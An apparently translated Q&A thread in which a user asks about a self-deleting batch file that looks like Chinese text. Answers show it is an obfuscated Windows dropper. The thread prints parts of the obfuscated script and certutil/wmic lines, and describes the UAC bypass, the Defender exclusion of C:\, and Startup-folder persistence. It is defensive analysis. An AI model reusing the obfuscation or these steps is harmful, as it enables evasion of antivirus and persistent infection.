我有一个包含大量中文字符的批处理文件,如下所示。当我运行它时,该文件被删除。知道如何解码内容是什么以及它在做什么吗?
部分文字:
挦獬╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶ഠ帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬ‥ഠ匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉⁏爥縺ⰸ┱╥㩲㑾ㄬ‥慮爥縺㈱ㄬ攥㴠┠㩲ㅾⰰ┱╡㩲㑾ㄬ挥爥縺ㄱㄬ‥╯㩲ㅾⰰ┱爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺〱ㄬ礥┠㩲ㅾⰲ┱潯爥縺㈱ㄬ㠥㔲ഠ┊㩲㡾ㄬ攥爥縺ⰴ┱┠㩲ㅾㄬ┥㩲㉾ㄬ┥㩲㑾ㄬ┥㩲ㅾⰱ┱爥縺㌱ㄬ┥㩲ㅾⰰ┱㴠┠㩲ㅾⰱ┱爥縺ⰴ┱爥縺ⰴ┱╰㩲㡾ㄬ㨥⼯爥縺ⰱ┱爥縺ⰲ┱爥縺ⰴ┱爥縺ㄱㄬ┥㩲ㅾⰳ┱爥縺〱ㄬ⸥潣爥縺㈱ㄬ⼥爥縺㈱ㄬ漥╯㩲ㅾⰲ┱㈸⼵爥縺〱ㄬ愥爥縺ⰴ┱╣㩲ㅾⰱ┱漭爥縺〱ㄬ春爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥爥縺㈱ㄬ愥敤┭㩲㉾ㄬ渥瀭╹㩲㑾ㄬ┥㩲ㅾⰱ┱湯†湞敞爥縺ⰴ┱ㅞ⁞爥縺ⰸ┱䕞爥縺ⰸ┱爥縺㐱ㄬ┥㩲ㅾⰶ┱幯⁎帾啎䱞㈠☾‱ഠ帊爥縺ⰲ┱⁆攥剒剏敌䕖╬㴠‽‰
ഠ倊幯別縺ⰹ┱剅╞㩒ㅾⰴ┱別縺ㄱㄬ帥幅幌⽬⁗⼠灥〠⽞湞別縺㜱ㄬ帥幰振帠帢摁䑞席幍偰干䙅幥幒湅䍞ⵞ䕞別縺ⰶ┱捞╬㩒ㅾⰳ┱別縺㐱ㄬ帥別縺㘱ㄬ漥乞偞╡㩒㑾ㄬ┥㩒ㅾⰵ┱✠䍞尺‧席幦副幃㭅幥別縺ⰶ┱╞㩒㉾ㄬ┥㩒㑾ㄬ‥•ഠ⤊䔠╌㩲㡾ㄬ帥
ഠ爊╥㩲ㅾㄬ‥摡爥縺㔱ㄬ䬥啃䕜癮爥縺ⰲ┱潲╮㩲ㅾⰲ┱湥爥縺ⰴ┱⼠瘯┠㩲㥾ㄬ┥㩲㉾ㄬ渥╤㩲㉾ㄬ爥⼠爥縺ⰴ┱删幅爥縺ⰵ┱╟㩲ㅾⰴ┱幚⼠≞╣㩲ㅾⰲ┱硥振┠㩲㡾ㄬ┥㩲㑾ㄬ愥╲㩲㑾ㄬ‥≜≜⁞┯㩒ㅾⰲ┱別縺ⰲ┱湞尠┢䙾尰㸢乞爥縺㌱ㄬ䰥㈠☾‱簠⁼╞㩒ㅾⰴ┱癞╣㩒ㅾⰵ┱別縺㜱ㄬ┥㩒㡾ㄬ┥㩒㑾ㄬ帥•举爥縺㌱ㄬ帥⁌㸲ㄦ†爥縺㐱ㄬ挥爥縺㔱ㄬ吥╁㩲㡾ㄬ欥爥縺ⰸ┱⼠啒⁎⽞湔尠╍㩲ㅾⰶ┱牣
自从第 3 方安装它以来,它一直是服务器上的一个批处理文件,但它们现在已经破产了,我们正试图弄清楚到底发生了什么
当我们对它运行文件时,我们得到:
Little-endian UTF-16 Unicode text, with very long lines, with no line terminators
它没有翻译成任何东西,所以它实际上可能不是中文,但那是由于我的无知而不是其他任何事情
我也尝试过使用iconv
,但文件保持不变
iconv -f utf-16 -t utf-8 batchfile.bat > filename_new.txt
当我运行strings
它时,我得到了一些可读的东西
certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions
在十六进制编辑器中,我得到以下内容,虽然它更具可读性,但它仍然看起来像乱码
该文件实际上有常规的 ASCII 文本(或 Windows-125x)。
它只是看起来有点像包含一些汉字的UTF-16,因为一开始就有一些精心挑选的字节可以欺骗
file
和其他字符集检测软件。(您的屏幕截图显示文件以 FF FE 开头,即 U+FEFF UTF-16LE 中的“字节顺序标记”。)但是我将您的示例存储为 UTF-16 LE,然后让我的文本编辑器将这些字节直接解释为 ASCII 或 Windows-1252——不转换,而是像你的十六进制编辑器一样将文件直接打开为 cp1252——然后我得到一个常规Windows Cmd 批处理脚本:
(通常,相同的字节可以通过多种方式读取 - 例如,
2c 31
如果读取为 UTF-16 LE,则两个字节表示字符“ㄬ”,或者,1
如果读取为 ASCII,则表示字符。例如,您会看到“㩲㉾ㄬ”在你的编辑器中有很多,因为它实际上r:~2,1
是批处理变量扩展的一部分。)这个“胡言乱语”是一个标准的批处理文件,只是有点混淆——你看到了很多
%variable:~start,length%
变量扩展;变量中的特定字符%PUBLIC%
被重新组合成%R%
,然后该变量的特定字符用于构建命令。但是,例如,明确的意思
reg add HKCU\Environment /f /v
。通过猜测¹构建大部分内容
%R%
并删除许多无关的^
转义字符后,结果是:它做的第一件事是非常可疑的——在检查它是否具有管理员权限后
net1 session
,它会将整个 C:\ 驱动器添加到 Windows Defender 的排除列表中。(在“其他”情况下,它可能会尝试通过任务计划程序提升自己,作为绕过 UAC 的一种方式。)根据最初的片段,这可能能够对其余部分进行去混淆:
¹ (我在 Linux 上做了这个,但没有意识到 %PUBLIC% 实际上是所有 Windows 系统上都存在的默认变量......)
从我可以看到的现有文本来看,我认为这是 john hammond 的 ctf 挑战(https://ctftime.org/task/17327)。我很确定 john 从病毒样本中获得了挑战,所以要么你的服务器上出于某种原因(无害)有 john 的 ctf,要么你的服务器上有原始样本(可能有害)。
该病毒使用任务调度程序 UAC 绕过方法绕过 UAC(用户帐户控制),(我现在基于 john 的 ctf)然后禁用所有 Windows Defender,然后将 base64 编码的 exe 写入“C:\Users \Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”,然后它将使用一个名为“certutil”的 Windows 实用程序,它具有 base64 解码功能。所以总的来说,这个批处理文件将获得管理员权限,禁用防御者,然后将有效负载写入启动添加持久性,然后解码有效负载并运行它。
我强烈建议不要运行这个!